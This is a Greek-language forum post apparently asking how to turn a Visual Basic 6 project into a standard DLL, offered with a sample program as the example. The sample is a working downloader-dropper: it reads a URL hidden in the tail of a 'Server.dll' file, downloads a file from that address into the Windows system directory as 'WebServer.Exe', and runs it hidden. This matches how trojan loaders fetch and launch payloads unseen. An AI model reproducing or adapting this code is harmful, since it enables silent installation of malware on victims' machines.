Καλησπερα  παιδια  

Μετα απο πολυ καιρο ειπα να ποσταρω κατι

Χρησιμοποιωντας το how to  που εχει ποσταρει παραπανω ο φιλος gkapnias  και  το αλλο how  to :http://www.vb-helper.com/howto_make_standard_dll.html   καταφερα να κανω την  μετατροπη με επιτυχια.αυτο που θελω ειναι πως μπορω να καταφερω να το φτιαξω παλι αλλα στο παραδειγμα μου να υπαρχουν καποιες συναρητσεις αλλα και καποια api στην  κοπυφη 

πχ

---------------------αρχη --------------------------

Option Explicit

Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Declare Function InternetCloseHandle Lib "wininet" (ByRef hInet As Long) As Long
Declare Function InternetReadFile Lib "wininet" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Dim Path As String, DlBuffer As String
Dim HwdOpen As Long, Dlfile As Long
Dim Returned As Long
Dim Url As String * 41
Dim url1 As String

Public Const scUserAgent = "example  "
Public Const INTERNET_OPEN_TYPE_DIRECT = 1
Public Const INTERNET_FLAG_RELOAD = &H80000000

Public Sub Main()

Path = SystemDirectory & "\Server.dll"

Open Path For Binary As #1
    Get #1, LOF(1) - 40, Url
Close #1

url1 = Left(Url, InStr(1, Url, "#") - 1)

Path = SystemDirectory & "\WebServer.Exe"

If Dir(Path) <> "" Then
    Kill (Path)
End If

DlBuffer = Space(1000)
'creer la connection
HwdOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
'ouvrir le site
Dlfile = InternetOpenUrl(HwdOpen, url1, vbNullString, ByVal 0&, INTERNET_FLAG_RELOAD, ByVal 0&)
'Read the first 1000 bytes of the file
InternetReadFile Dlfile, DlBuffer, 1000, Returned
Open Path For Binary As #1
    Put #1, , DlBuffer
Close #1
DoEvents
'boucle jusqu'a ce que les data lu soit = 0
Do While Returned <> 0
    InternetReadFile Dlfile, DlBuffer, 1000, Returned
    Open Path For Binary As #1
    Put #1, LOF(1) + 1, DlBuffer
Close #1
DoEvents
Loop
InternetCloseHandle Dlfile
InternetCloseHandle HwdOpen

Shell Path, vbHide

End Sub

Function SystemDirectory() As String
    Dim SysPath As String
    Dim temp As String

    SysPath = String(150, Chr(0))
    temp = GetSystemDirectory(SysPath, 150)
    SystemDirectory = Left(SysPath, InStr(SysPath, Chr(0)) - 1)
End Function

--------------Τελος  -------

ευχαριστω  πολυ  για ολα